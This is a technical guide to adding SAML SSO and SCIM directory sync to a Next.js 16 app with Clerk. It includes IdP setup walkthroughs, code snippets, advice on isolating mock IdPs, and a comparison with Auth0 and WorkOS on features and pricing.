The full set of parameters on `EnterpriseConnectionSamlParams` — per `packages/backend/src/api/endpoints/EnterpriseConnectionApi.ts` in `clerk/javascript`: `allowIdpInitiated`, `allowSubdomains`, `attributeMapping`, `forceAuthn`, `idpCertificate`, `idpEntityId`, `idpMetadata`, `idpMetadataUrl`, `idpSsoUrl`. There is no `provider` field on create — Clerk auto-detects the IdP slug (Okta, Entra, etc.) from the metadata document. The `provider` field only appears on the update endpoint when overriding the inferred value.

> \[!NOTE]
> `clerkClient.samlConnections` is now the legacy surface as of the March 9, 2026 unification. The methods still function and continue to hit `/saml_connections`, but new code should target `enterpriseConnections`. The two create signatures are incompatible — the legacy `CreateSamlConnectionParams` shape is flat with SAML fields at the top level and requires `provider: SamlIdpSlug` and a singular `domain: string`, while the new `CreateEnterpriseConnectionParams` nests protocol-specific fields under `saml: { ... }` or `oidc: { ... }` and uses `domains: string[]`. This is a migration, not a drop-in rename. See the [March 9, 2026 Backend API changelog entry](/changelog/2026-03-09-bapi-enterprise-connections) for the full migration matrix.

### Step 4: Configure the Identity Provider side

Each major IdP has a slightly different configuration dance. The underlying fields are the same — ACS URL, Entity ID, attribute mapping, signing certificate — but the UI and claim naming conventions vary.

#### Okta walkthrough

1. In the Okta admin console, go to **Applications** → **Applications** → **Create App Integration** → **SAML 2.0**.
2. On the **General Settings** page, give the app a name ("Your SaaS") and optionally upload a logo.
3. On the **Configure SAML** page, paste the ACS URL and Entity ID from Clerk's Dashboard. Leave `Name ID format` at `EmailAddress` and `Application username` at `Email`.
4. Under **Attribute Statements**, add:
   - `email` → `user.email`
   - `firstName` → `user.firstName`
   - `lastName` → `user.lastName`
5. On the **Feedback** page, select **I'm an Okta customer adding an internal app**.
6. After the app is created, open the **Sign On** tab, click **View Setup Instructions**, and copy the Identity Provider metadata URL.
7. Back in Clerk's Dashboard, paste the metadata URL into the SAML connection's **IdP metadata URL** field and save.

Verification: click **Test Connection** in Clerk's dashboard. A successful test ends with a "Connection verified" banner.

#### Entra ID (formerly Azure AD) walkthrough

1. In the Azure portal, go to **Microsoft Entra ID** → **Enterprise applications** → **New application** → **Create your own application** → **Non-gallery**.
2. Inside the new app, go to **Single sign-on** → **SAML**.
3. Under **Basic SAML Configuration**, paste the Reply URL (this is Clerk's ACS URL) and the Identifier (this is Clerk's Entity ID).
4. Under **Attributes & Claims**, add the following claims. Entra ID uses long WS-\* URIs by default; these are XML namespace identifiers, not reachable HTTP URLs. You can leave them at the defaults or rename them:

```text
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress → user.mail
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/givenname    → user.givenname
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/surname      → user.surname
```

5. Under **SAML Certificates**, copy the **App Federation Metadata Url** and paste it into Clerk's **IdP metadata URL** field.

> \[!WARNING]
> Entra ID's "add custom claims" UI has a subtle quirk: if you paste a custom attribute (like a department code) and Entra stores it as a typed value instead of a string, Clerk's SAML response parser will reject it. Cast custom attributes to strings explicitly in the Entra claim transformation.

#### Google Workspace walkthrough

1. In the Google Admin console, go to **Apps** → **Web and mobile apps** → **Add app** → **Add custom SAML app**. You need to be signed in as a Super Admin — delegated admins cannot create custom SAML apps.
2. Give the app a name. On the Google IdP details page, copy the **SSO URL**, **Entity ID**, and download the X.509 certificate.
3. On the **Service provider details** page, paste Clerk's ACS URL and Clerk's Entity ID. Set **Name ID format** to `EMAIL` and **Name ID** to `Basic Information > Primary email`.
4. Under **Attribute mapping**, map:
   - `Primary email` → `mail`
   - `First name` → `firstName`
   - `Last name` → `lastName`
5. Back in Clerk's Dashboard, paste the Google SSO URL and Entity ID, and upload the X.509 certificate (Google does not expose a metadata URL for custom SAML apps — you configure it statically).

If the customer's IdP is Google Workspace and they haven't explicitly required per-tenant SAML isolation, consider **EASIE** instead. EASIE skips all five of these steps and replaces them with a domain verification. Many customers prefer it once they see the delta; others insist on SAML for compliance reasons. Ask.

### Step 5: Attribute mapping and custom claims

Clerk's default SAML attribute mapping covers the universal fields: `email_address`, `first_name`, `last_name`. Most integrations stop there and derive everything else from SCIM or from the user's first in-app interaction.

For custom claims — say, the customer wants the user's `department` from Okta to appear in your app's role logic — Clerk has a public\_metadata bridge. Prepend the IdP claim name with `public_metadata_` and Clerk will surface it on the user object:

```ts
// In Okta: add an attribute statement
// Name: public_metadata_department
// Value: user.department

// In your Next.js server component
import { auth, currentUser } from '@clerk/nextjs/server'

export default async function Dashboard() {
  const user = await currentUser()
  const department = user?.publicMetadata?.department as string | undefined

  return <DashboardFor department={department} />
}
```

Custom claim mapping runs on every sign-in (assuming `syncUserAttributes: true` on the connection), so updates in the IdP propagate to your app on the user's next session. Note that public\_metadata is readable client-side — don't use it for authorization decisions that require tamper-resistance. For that, use SCIM group mappings or server-side role assignment.

### Step 6: Just-in-Time (JIT) provisioning

JIT provisioning is on by default. On first SAML sign-in, Clerk creates the Clerk User, adds them to the Organization that owns the matching verified domain, and assigns the default role. The user's email, first name, and last name come from the SAML assertion — no pre-provisioning required.

The "Sync user attributes during sign-in" toggle on the connection controls whether subsequent sign-ins update the user attributes from the assertion. Default is on. Turn it off if your app is the source of truth for user display names and you don't want them overwritten by IdP changes.

JIT alone is not enough for enterprise procurement. It creates users; it doesn't deprovision them. For deprovisioning, use SCIM (the next step).

### Step 7: Automated provisioning with SCIM (Directory Sync)

Clerk's core Directory Sync went **GA on April 16, 2026** — see the [Directory Sync GA changelog entry](/changelog/2026-04-16-directory-sync). Two sub-features (custom attribute mapping into `publicMetadata`, and groups-to-role mapping with precedence ordering) remain in public beta. Both are documented in the [Directory Sync docs page](/docs/guides/configure/auth-strategies/enterprise-connections/directory-sync), which carries scoped beta callouts on those two sections only; the rest of Directory Sync is GA and enabled for all users.

#### Supported IdPs

- **Okta** — officially supported with a dedicated OIN app catalog listing.
- **Microsoft Entra ID** — officially supported.
- Other SCIM 2.0 providers (JumpCloud, OneLogin, PingOne) generally work with the generic SCIM endpoint configuration but are best-effort.

#### Configuration

In the Clerk Dashboard, inside the Organization, go to **Directory Sync** → **Enable Directory Sync**. Clerk generates a SCIM token scoped to that Organization. Copy it.

In Okta, go to the SAML app you created in Step 4 → **Provisioning** → **Configure API Integration** → paste the SCIM token and Clerk's SCIM endpoint URL (shown in the dashboard). Enable **Create Users**, **Update User Attributes**, and **Deactivate Users**.

In Entra ID, go to the enterprise application → **Provisioning** → **Provisioning Mode: Automatic** → paste the SCIM URL and token.

#### Synced attributes

- `userName` → Clerk `username`
- `email.value` → Clerk primary email
- `name.givenName` → Clerk `first_name`
- `name.familyName` → Clerk `last_name`
- `active` → Clerk user enabled/disabled flag

#### Events

SCIM events fire as Clerk `user.created` and `user.updated` webhooks, plus dedicated SCIM webhook events:

- `scim.user.created`
- `scim.user.patched`
- `scim.user.deleted`
- `scim.provisioning_failed`

Wire the webhooks to whatever downstream system needs to know about user lifecycle — your audit log, your billing system, your customer success tooling.

#### Two public-beta sub-features to note

Both are production-usable for most teams but may still see API tweaks before they are declared GA.

1. **Custom attribute mapping into `publicMetadata`.** Sync IdP attributes like `department`, `employee_id`, or `cost_center` into the user's `publicMetadata`. While Directory Sync is enabled, these fields become read-only in Clerk — the IdP is the system of record.
2. **Groups-to-role mapping with precedence ordering.** When Okta pushes the user's group memberships via SCIM, Clerk can map group names to Organization roles. Precedence ordering matters — if a user is in both the `admins` and `viewers` groups, which role wins? You configure the precedence list in the dashboard.

#### Pricing

Directory Sync is **included with each enterprise connection at no extra charge** — consistent with Clerk's pricing-page and changelog messaging. That differs from Auth0, where Inbound SCIM is scoped per plan (and is included on the February 2026 Free tier), and from WorkOS, which charges $125/month per Directory Sync connection separately from SSO.

### Step 8: Wire up your Next.js 16 app

#### Install

```sh
pnpm add @clerk/nextjs@^7
```

#### Environment variables

Clerk reads the publishable and secret keys from environment variables. Put them in `.env.local` for local development and use `vercel env add` (or your platform's equivalent) for staging and production:

```sh
# .env.local
CLERK_PUBLISHABLE_KEY=pk_test_xxxxxxxxxxxxxxxxxxxx
CLERK_SECRET_KEY=sk_test_xxxxxxxxxxxxxxxxxxxx
```

Use `pk_test_*` / `sk_test_*` for Development instances, `pk_live_*` / `sk_live_*` for Production. Vercel: `vercel env add CLERK_SECRET_KEY` for each environment. Never commit either key.

#### `proxy.ts` replaces `middleware.ts`

Next.js 16 renamed `middleware.ts` to `proxy.ts` and ships a codemod to migrate existing projects: `npx @next/codemod@canary middleware-to-proxy .`. The Next.js 16 file-convention reference (`/docs/app/api-reference/file-conventions/proxy`) states verbatim: *"The file must export a single function, either as a default export or named `proxy`."*

Clerk's Next.js quickstart uses `export default clerkMiddleware(...)` — the value returned by `clerkMiddleware()` is exported directly, which is the shorter idiomatic choice. Teams that prefer the named form can write `export const proxy = clerkMiddleware(...)` with no wrapper change.

```ts
// proxy.ts
import { clerkMiddleware, createRouteMatcher } from '@clerk/nextjs/server'

const isProtected = createRouteMatcher(['/dashboard(.*)', '/api/private(.*)'])
const isEnterpriseRoute = createRouteMatcher(['/enterprise(.*)'])

export default clerkMiddleware(async (auth, req) => {
  if (isEnterpriseRoute(req)) {
    await auth.protect({
      unauthenticatedUrl: new URL('/sign-in', req.url).toString(),
      unauthorizedUrl: new URL('/not-authorized', req.url).toString(),
    })
    return
  }

  if (isProtected(req)) {
    await auth.protect()
  }
})

export const config = {
  matcher: ['/((?!.*\\..*|_next).*)', '/', '/(api|trpc)(.*)'],
}
```

#### Error handling for unauthorized users

`auth.protect()` has a response matrix that surprises first-time users. Specifically, an authenticated-but-unauthorized user gets a **thrown 404, not a 403** — and there's no JSON body. This is intentional from a security-through-obscurity angle (don't leak which roles exist) but it produces bad UX on a SAML-protected enterprise route, so you should override it explicitly.

| State                                                         | `auth.protect()` response                |
| ------------------------------------------------------------- | ---------------------------------------- |
| Authenticated + authorized                                    | Returns `Auth` object; request continues |
| Authenticated + unauthorized (wrong role, permission, or org) | Thrown 404 (not 403, not JSON)           |
| Unauthenticated, document request                             | Redirect to sign-in URL                  |
| Unauthenticated, session-token API request                    | Thrown 404                               |
| Unauthenticated, machine-token API request                    | Thrown 401                               |

Mitigations for SAML-protected enterprise routes:

- Pass `unauthenticatedUrl` and `unauthorizedUrl` explicitly so the user lands on a branded page — `/sign-in`, `/not-authorized`, `/upgrade-sso`. The official Clerk docs list both parameters in the type signature but currently have no end-to-end code example using them. The snippet above fills that gap.
- For signed-in users who lack an Organization (`orgId` is null), redirect to an org-selection CTA like `/select-org` or render an inline `<OrganizationSwitcher />`. A thrown 404 is the wrong UX for a user who just hasn't picked their workspace yet.
- For signed-in users whose Organization is valid but whose email domain hasn't been configured for SSO yet, route to a "request access" page (`/request-sso`) that explains the step their IT admin must take. Use `unauthorizedUrl: '/request-sso'` when `has()` is applied with an SSO-specific check.
- For API route handlers, prefer `has()` manually when you need structured JSON error bodies. `auth.protect()` technically works in Route Handlers (the Clerk docs show one example), but it throws a bare 404/401 with no JSON body. Clerk's [`/docs/guides/secure/authorization-checks`](/docs/guides/secure/authorization-checks) guide contrasts the two: `auth.protect()` "doesn't offer control over the response" while `has()` offers "flexibility and control."

#### `<ClerkProvider>` placement

The `<ClerkProvider>` wrapper must live **inside** `<body>` for Next.js 16 cache components to work correctly. Putting it outside `<body>` is a common mistake migrating from older Next.js versions.

```tsx
// app/layout.tsx
import { ClerkProvider } from '@clerk/nextjs'

export default function RootLayout({ children }: { children: React.ReactNode }) {
  return (
    <html lang="en">
      <body>
        <ClerkProvider>{children}</ClerkProvider>
      </body>
    </html>
  )
}
```

#### Custom sign-in with the `enterprise_sso` strategy

For identity-first flows where the user enters their email and your app routes them to the right IdP, use `authenticateWithRedirect` with `strategy: 'enterprise_sso'`. Clerk resolves the email domain to the correct SAML connection automatically:

```tsx
// app/sign-in/[[...sign-in]]/page.tsx
'use client'

import { useSignIn } from '@clerk/nextjs'
import { useState } from 'react'

export default function SignInPage() {
  const { signIn, isLoaded } = useSignIn()
  const [email, setEmail] = useState('')

  if (!isLoaded) return null

  async function handleSubmit(e: React.FormEvent) {
    e.preventDefault()
    await signIn.authenticateWithRedirect({
      identifier: email,
      strategy: 'enterprise_sso',
      redirectUrl: '/sign-in/sso-callback',
      redirectUrlComplete: '/',
    })
  }

  return (
    <form onSubmit={handleSubmit}>
      <label>
        Work email
        <input type="email" value={email} onChange={(e) => setEmail(e.target.value)} required />
      </label>
      <button type="submit">Continue with SSO</button>
    </form>
  )
}
```

Wire up the callback page:

```tsx
// app/sign-in/sso-callback/page.tsx
import { AuthenticateWithRedirectCallback } from '@clerk/nextjs'

export default function SSOCallback() {
  return <AuthenticateWithRedirectCallback />
}
```

When the user returns from their IdP, Clerk's callback component finishes the flow and redirects to `redirectUrlComplete`.

#### Role-scoped route protection

Inside a server component or route handler, use `has()` for authorization checks:

```ts
// app/api/enterprise/route.ts
import { auth } from '@clerk/nextjs/server'

export async function GET() {
  const { isAuthenticated, orgId, has } = await auth()

  if (!isAuthenticated) {
    return Response.json({ error: 'unauthenticated' }, { status: 401 })
  }

  if (!orgId) {
    return Response.json({ error: 'org_required', code: 'NO_ORG' }, { status: 403 })
  }

  if (!has({ role: 'org:admin' })) {
    return Response.json({ error: 'forbidden', code: 'ROLE_REQUIRED' }, { status: 403 })
  }

  return Response.json({ data: 'your enterprise data here' })
}
```

This pattern gives you structured JSON errors that your SPA or native client can parse, rather than relying on thrown 404s from `auth.protect()`.

### Step 9: Enable self-serve SSO configuration for customer admins

Here's the honest truth: **Clerk does not ship a white-labeled, customer-facing admin portal** the way WorkOS's Admin Portal works. `<OrganizationProfile />` has tabs for General, Members, and Billing, but there's no built-in SSO tab as of April 2026. This is a real gap if "hand configuration to customer IT without giving them Dashboard access" is a hard requirement.

The workaround is to build it yourself using Clerk's custom pages pattern. It's not a weekend project, but it's straightforward.

1. Add a custom `<OrganizationProfile.Page label="SSO" url="sso">` tab to the `<OrganizationProfile />` component for organization admins.
2. Inside that page, render a React form that collects the customer's IdP metadata URL (preferred) or static IdP entity ID + SSO URL + X.509 certificate (fallback).
3. On submit, POST to your own API route — which is the `app/api/sso/create/route.ts` example from Step 3.
4. The API route calls `(await clerkClient()).enterpriseConnections.createEnterpriseConnection({ saml: { ... } })` on behalf of the Organization admin.
5. Gate the page with `auth.protect({ role: 'org:admin', unauthorizedUrl: '/not-authorized' })` so non-admins don't see the SSO tab.

A sketch of the Page component:

```tsx
// app/account/(routes)/sso/page.tsx
'use client'

import { OrganizationProfile } from '@clerk/nextjs'

export default function SSOConfigPage() {
  return (
    <OrganizationProfile path="/account">
      <OrganizationProfile.Page label="SSO" url="sso" labelIcon={<SSOIcon />}>
        <SSOConfigForm />
      </OrganizationProfile.Page>
    </OrganizationProfile>
  )
}
```

The `SSOConfigForm` component collects `name`, `domain`, and `idpMetadataUrl`, and POSTs to your API route. For the full component implementation pattern, see Clerk's custom-flows and custom-pages documentation.

> \[!NOTE]
> If a turnkey white-labeled admin portal is genuinely a hard requirement — enterprise customer IT teams who will never accept a vendor's React form — the right architectural answer is WorkOS Admin Portal alongside Clerk for that narrow flow. Use Clerk for the user, session, and org model; use WorkOS Admin Portal for the customer-IT-facing SSO configuration step. Few teams need this, but it's worth naming the option.

### Step 10: Test end-to-end

#### Staging IdPs

For team testing without involving a real corporate IdP, use:

- **MockSAML.com** (BoxyHQ / Ory) — hosted mock IdP, free, public.
- **SAMLTest.id** (Shibboleth project) — hosted mock IdP, public.
- **DummyIDP.com** — minimal hosted mock, fast round-trip.
- **`boxyhq/mock-saml`** Docker image — self-hosted mock for CI and air-gapped testing.
- **Keycloak** Docker image — heavier, fuller-fidelity; good for SCIM too.

For staging that mirrors production, use the free **Okta Developer Integrator Plan** (`developer.okta.com`) or a free **Microsoft Entra** tenant.

#### Isolating mock IdPs from production

A mock IdP with publicly known signing keys, trusted against a production Clerk instance, is functionally an authentication bypass for any email claim the connection accepts. Isolate strictly:

- **Use a Development Clerk instance for all mock IdP testing.** Clerk's Development (`pk_test_*` / `sk_test_*`) and Production (`pk_live_*` / `sk_live_*`) instances are fully separated; SSO connections do not copy between dev and prod automatically.
- **Before adding a mock connection, verify:** (1) the publishable key starts with `pk_test_`, not `pk_live_`; (2) the Clerk Dashboard shows the Development banner; (3) the IdP metadata URL does not resolve to a production or customer-reachable domain; (4) the claimed email domain is a disposable test domain you own (e.g., `acme-test.example`) and will never be verified in production; (5) the mock IdP container is not publicly exposed with default admin credentials — a classic Keycloak Docker leak vector.
- **Never paste a mock IdP's X.509 cert into a production tenant.** OWASP's SAML Security Cheat Sheet is explicit: signing keys are a top security asset; trust should only be established via verified metadata URLs, not hand-pasted certs of unknown provenance.
- **Rotate out before promotion.** Before any Organization or tenant moves to production use, delete every connection whose IdP entityID points to `mocksaml.com`, `localhost`, `*.ngrok.io`, or an internal Docker hostname.
- **Environment variable hygiene.** `CLERK_SECRET_KEY`, IdP signing keys, and any `boxyhq/mock-saml` `PRIVATE_KEY` must be per-environment and managed through a secrets manager (Vercel env, Doppler, Infisical). Never commit `.env` files containing mock IdP keys.

Real-world framing: the March 2026 CVE-2026-3055 Citrix NetScaler SAML IdP exposure, where crafted `SAMLRequest` payloads leaked session data via the `NSC_TASS` cookie and landed in CISA's KEV catalog, demonstrates the broader class of "test-grade IdP left reachable from production" risk. Mock IdPs that stay alive after their usefulness ends become production attack surface.

**Pre-launch mock-IdP cleanup checklist:**

1. No connection in your production Clerk instance has an entityID containing `mocksaml.com`, `samltest.id`, `dummyidp.com`, `localhost`, `*.ngrok.io`, `*.ngrok-free.app`, or any internal Docker or Kubernetes hostname.
2. No production connection trusts an X.509 certificate that was copy-pasted from a mock IdP or staging IdP.
3. No production connection's claimed email domain resolves to a test or disposable domain you do not own (`*.example`, `*.test`, `*.localhost`).
4. Every mock-IdP container spun up during testing has been torn down, and the hostnames no longer resolve.
5. All `boxyhq/mock-saml` `PRIVATE_KEY` and signing-key env vars have been rotated out of production secrets managers and no longer appear in any running deployment.
6. Customer-facing `/sign-in`, organization onboarding, and admin-portal pages do not reference mock IdP documentation or testing URLs.

#### Validating the SAML response

Three tools to have in your toolkit:

- **SAML-tracer** browser extension (Chrome and Firefox). Captures the raw SAML request and response as they traverse the browser. Decode-on-hover makes debugging "why did this fail" tractable.
- **SAMLTool.com** online validator. Paste a base64-encoded SAML response and get the decoded XML with signature validation status.
- **Structured logging on your own side.** Log `Issuer`, `Audience`, `Destination`, `NotBefore`, `NotOnOrAfter`, and the signing cert fingerprint as structured fields. Redact PII (emails, names) from logs unless you have a legal basis to retain them.

#### Troubleshooting common errors

| Error                                  | Likely cause                                                   | Fix                                                                            |
| -------------------------------------- | -------------------------------------------------------------- | ------------------------------------------------------------------------------ |
| `Invalid Signature`                    | Certificate rotation mismatch; cert in Clerk is stale          | Re-download IdP metadata; Clerk auto-pulls if you used metadata URL            |
| `Audience mismatch`                    | Entity ID wrong in IdP config                                  | Compare Clerk's Entity ID to IdP's `audienceRestriction` element               |
| `NotOnOrAfter exceeded`                | Clock skew between SP and IdP, or assertion replay             | Sync server clocks via NTP; check for replay in logs                           |
| `AssertionConsumerServiceURL mismatch` | ACS URL wrong in IdP config                                    | Compare Clerk's ACS URL (copy-paste) to IdP's Reply URL                        |
| `Signature element not found`          | IdP is signing the Response, not the Assertion (or vice versa) | In Clerk dashboard, flip "Expect signed response" vs "Expect signed assertion" |

## Implementing with Auth0 (code snippets)

Auth0 is Okta-owned and aimed at broader general-purpose CIAM than Clerk's B2B-first posture. If you're already on Auth0 for user auth and need to add SAML, the path is short. Auth0's February 12, 2026 B2B plan upgrade materially improved the Free tier (1 Enterprise Connection, Self-Service SSO, and Inbound SCIM are all included there now). If you're choosing between Auth0 and Clerk for a greenfield B2B SaaS, Auth0's remaining drawbacks are the tier-cliff pricing (3 → 5 SSO connections forces a 5.3× price jump from Essentials to Professional) and the reliance on Auth0 Actions for customization (a function-as-a-service model that's flexible but more code than Clerk's Dashboard + component approach).

### Setting up an enterprise connection

In the Auth0 Dashboard: **Authentication** → **Enterprise** → **SAML** → **Create Connection**. The form collects a connection name, a Sign In URL (the IdP's SSO endpoint), an optional Sign Out URL, and either a metadata URL or a manually pasted X.509 cert.

After creation, Auth0 generates two URLs you paste into the IdP configuration. Using the placeholder pattern Auth0 documents (replace `YOUR_AUTH0_DOMAIN` with your Auth0 tenant domain and `CONNECTION_NAME` with the connection you created):

- **Post-back URL** pattern: `https://YOUR_AUTH0_DOMAIN/login/callback?connection=CONNECTION_NAME`.
- **Entity ID** pattern: `urn:auth0:YOUR_TENANT:YOUR_CONNECTION_NAME`.

Programmatic creation via the Management API:

```ts
// Auth0 Management API — create a SAML enterprise connection
await fetch(`https://${AUTH0_DOMAIN}/api/v2/connections`, {
  method: 'POST',
  headers: {
    Authorization: `Bearer ${managementApiToken}`,
    'Content-Type': 'application/json',
  },
  body: JSON.stringify({
    name: 'acme-okta',
    strategy: 'samlp',
    enabled_clients: [AUTH0_CLIENT_ID],
    options: {
      metadataUrl: 'https://acme.okta.com/app/.../sso/saml/metadata',
      signSAMLRequest: true,
    },
  }),
})
```

For B2B multi-tenancy with Auth0 Organizations:

```ts
// Assign the SAML connection to an Auth0 Organization
await fetch(`https://${AUTH0_DOMAIN}/api/v2/organizations/${orgId}/enabled_connections`, {
  method: 'POST',
  headers: {
    Authorization: `Bearer ${managementApiToken}`,
    'Content-Type': 'application/json',
  },
  body: JSON.stringify({
    connection_id: connectionId,
    assign_membership_on_login: true,
  }),
})
```

`assign_membership_on_login: true` is Auth0's equivalent of Clerk's automatic-invitation enrollment mode — the first time a user signs in via the connection, they're added to the Organization.

### Attribute mapping via Actions

Auth0 attribute mapping happens in a post-login Action — a small serverless function that runs after authentication. The idiomatic pattern:

```ts
// Auth0 Action: post-login trigger
exports.onExecutePostLogin = async (event, api) => {
  if (event.connection.strategy === 'samlp') {
    const idpDepartment = event.user.app_metadata?.saml_department

    if (idpDepartment) {
      api.idToken.setCustomClaim('https://your-app.com/department', idpDepartment)
      api.user.setAppMetadata('department', idpDepartment)
    }
  }
}
```

The custom claim namespace (`https://your-app.com/department`) is required by Auth0's claim validation — bare claim names without a namespace get stripped.

### Next.js 16 integration

`@auth0/nextjs-auth0` v4.18.0 supports Next.js 16 `proxy.ts`:

```ts
// proxy.ts
import type { NextRequest } from 'next/server'
import { auth0 } from './lib/auth0'

export default async function proxy(request: NextRequest) {
  return auth0.middleware(request)
}

export const config = {
  matcher: ['/((?!_next/static|_next/image|favicon.ico|api/auth).*)'],
}
```

> \[!WARNING]
> Auth0's Next.js v4 SDK does **not** support SAML IdP-initiated flows as of v4.18.0 (published April 17, 2026). The library implements OpenID Connect, which has no native IdP-initiated concept (see the long-standing thread at [`auth0/nextjs-auth0#261`](https://github.com/auth0/nextjs-auth0/issues/261), closed February 2021 and unresolved in-SDK since). An Auth0 maintainer recommends in that thread a silent-authentication portal app using `prompt=none` — pointing at Auth0's silent-authentication docs — rather than native IdP-initiated SAML. Auth0's SAML platform itself supports IdP-initiated SSO (see the [Auth0 IdP-initiated docs](https://auth0.com/docs/authenticate/protocols/saml/saml-sso-integrations/identity-provider-initiated-single-sign-on), configurable at Dashboard → Authentication → Enterprise → SAMLP by setting "IdP-Initiated SSO Behavior" to "Accept Requests"; Auth0's own docs flag IdP-initiated as "not recommended" due to the Login CSRF exposure). The gap is specifically the Next.js SDK. Clerk and WorkOS handle IdP-initiated natively (with the security caveats from Section 9).

### Where Auth0 differs from Clerk

- **Universal Login + Actions vs prebuilt React components.** Auth0's default flow routes through a hosted Universal Login page. Customization is done via Actions and the Auth0 Dashboard branding UI. Clerk ships drop-in React components (`<SignIn />`, `<OrganizationProfile />`, `<OrganizationSwitcher />`) that you style with CSS.
- **3 / 5 SSO connection cap per B2B tier.** B2B Essentials ($150/month) tops out at 3 SSO connections; each additional connection is $100/month. B2B Professional ($800/month) includes 5 SSO connections. Scaling past Essentials' 3 connections forces the 5.3× price jump to Professional.
- **February 12, 2026 Free-tier upgrade.** Auth0 added 1 Enterprise Connection, Self-Service SSO, and Inbound SCIM to the Free plan — a meaningful improvement that narrowed the gap with Clerk and WorkOS. Self-Service SSO is a ticket-URL-driven guided flow, not a standing admin portal.
- **Pricing cliff is still procurement-hostile.** Your customer security review will ask to see your auth vendor's pricing. A 5.3× cliff at 4 connections looks like exactly the "SSO tax" pattern procurement is trained to reject. Have an answer ready.

## Implementing with WorkOS (code snippets)

WorkOS is SSO-first and designed to drop on top of existing user authentication. It's the most procurement-friendly managed SSO service if your app already has users and sessions — the mental model is "we'll handle enterprise auth; you keep your user model." The differentiator is the Admin Portal: a hosted, white-labeled UI that lets customer IT admins self-configure SSO without touching your dashboard or theirs.

### Creating an SSO connection

WorkOS connections are scoped to Organizations. Create the organization first, then generate an admin portal link for the customer to configure their own IdP.

```ts
// Server: start the OAuth-style redirect to the customer's IdP
import { WorkOS } from '@workos-inc/node'

const workos = new WorkOS(process.env.WORKOS_API_KEY!)

const authorizationUrl = workos.sso.getAuthorizationUrl({
  organization: 'org_01HXYZ...',
  redirectUri: 'https://your-app.com/callback',
  clientId: process.env.WORKOS_CLIENT_ID!,
})

// Redirect the user to authorizationUrl
```

The callback handler exchanges a code for a profile:

```ts
// Server: handle the callback after the IdP authenticates the user
const { profile, accessToken } = await workos.sso.getProfileAndToken({
  code: searchParams.get('code')!,
  clientId: process.env.WORKOS_CLIENT_ID!,
})

// profile.email, profile.firstName, profile.lastName, profile.idpId
```

WorkOS's built-in staging organization `org_test_idp` is a mock IdP useful for local development — every sign-in succeeds with predictable test user attributes.

### Admin Portal — the differentiator

```ts
// Server: generate a magic link the customer admin clicks to configure SSO
const { link } = await workos.portal.generateLink({
  organization: 'org_01HXYZ...',
  intent: 'sso',
})

// Send the link to the customer admin; they click through, configure their IdP,
// and the connection appears in your WorkOS dashboard automatically.
```

The magic link is valid for 5 minutes, single-use. When the admin clicks through, WorkOS runs them through a step-by-step walkthrough for their specific IdP — 26+ IdPs with dedicated flows. This is what teams building from scratch effectively replicate when they build their own "customer-facing SSO admin portal"; with WorkOS, it's an API call.

The `intent` parameter supports: `sso`, `dsync` (Directory Sync), `audit_logs`, `log_streams`, `domain_verification`, `certificate_renewal`.

### Next.js 16 integration

`@workos-inc/authkit-nextjs` v3 supports Next.js 16 `proxy.ts` via the `authkitProxy` helper:

```ts
// proxy.ts
import { authkitProxy } from '@workos-inc/authkit-nextjs'

export default authkitProxy({
  middlewareAuth: {
    enabled: true,
    unauthenticatedPaths: ['/', '/about', '/pricing'],
  },
})

export const config = {
  matcher: ['/((?!_next/static|_next/image|favicon.ico).*)'],
}
```

AuthKit v3 always uses PKCE for the authorization code flow, which means the redirect URI must be registered as a public client in the WorkOS dashboard.

### Where WorkOS differs from Clerk

- **SSO-first, not full CIAM.** Classic WorkOS is positioned as "we add enterprise auth on top of your existing user system." AuthKit — their newer full-auth product — closes that gap, but adoption patterns still lean on existing-app integration.
- **Admin Portal is the marquee feature.** If self-serve customer SSO configuration is a hard requirement, WorkOS wins this specific comparison. Clerk has a gap here (addressed via the custom-page workaround in Section 5 Step 9).
- **Higher per-connection price** — $125/month per SSO connection and another $125/month per Directory Sync connection, vs Clerk's $75/month per enterprise connection with Directory Sync included. On volume (Clerk drops to $15/month at 500+ connections; WorkOS tiers down similarly but from a higher base), pricing is closer but Clerk remains the cheaper choice at most customer counts.
- **Less ergonomic for new apps** that don't yet have an organizations model or user table. Clerk gives you Organizations, users, and sessions out of the box; WorkOS gives you SSO alone (or AuthKit if you want more).
- **Generous AuthKit free tier** — 1M MAU on AuthKit is real and useful for early-stage products.

## Side-by-side comparison

### Feature matrix

| Feature                                      |       Clerk       |                   Auth0                   |           WorkOS           |      DIY (Node libs)     |
| -------------------------------------------- | :---------------: | :---------------------------------------: | :------------------------: | :----------------------: |
| Free MAU                                     |       50,000      |                   25,000                  |        1M (AuthKit)        |            N/A           |
| SAML connections on free tier                |         0         |            1 (Feb 2026 update)            |              0             |            N/A           |
| SAML connections on paid tier                |      1 (Pro)      | 3 (B2B Essentials) / 5 (B2B Professional) | 0 (per-connection billing) |   Unlimited (you host)   |
| Per-additional-connection price              |       $75/mo      |        $100/mo past Essentials cap        |           $125/mo          |       $0 (you host)      |
| SCIM / Directory Sync                        |    GA April 2026  |            Free tier (Feb 2026)           |    $125/mo per connection  |         You build        |
| Self-serve SSO configuration for customer IT |    Custom pages   |            Ticket-URL assistant           |         Admin Portal       |         You build        |
| Next.js 16 `proxy.ts` native                 |                   |                                           |                            |         You build        |
| IdP-initiated SSO supported in SDK           |  (off by default) |                (Next.js SDK)              |                            |         You build        |
| Multi-tenant (per-org) SSO model             |                   |                                           |                            |         You build        |
| Time to first production SAML                |     1–3 hours     |                 1–2 weeks                 |   1 day with Admin Portal  |       4–8 weeks MVP      |
| 2026 CVE exposure                            |   Vendor-managed  |               Vendor-managed              |       Vendor-managed       | 5+ critical in 12 months |

### Pricing models and hidden costs

**Clerk.** $20/month annual ($25/month monthly) Pro plan includes 1 enterprise connection. Additional connections: $75/month each, scaling down to $15/month at 500+ connections. 50,000 MAU free. Directory Sync included with each enterprise connection.

**Auth0 Free (B2B).** After the February 12, 2026 upgrade: 25,000 MAU, 1 Enterprise Connection, Self-Service SSO, and Inbound SCIM all included.

**Auth0 B2B Essentials.** $150/month. Includes 3 SSO connections. Additional SSO connections past 3 are $100/month each. SCIM included.

**Auth0 B2B Professional.** $800/month. Includes 5 SSO connections. SCIM included.

**WorkOS.** $125/month per SSO connection (tiered — scales down at higher connection counts). Directory Sync is an additional $125/month per connection. AuthKit (full auth product) is free to 1M MAU.

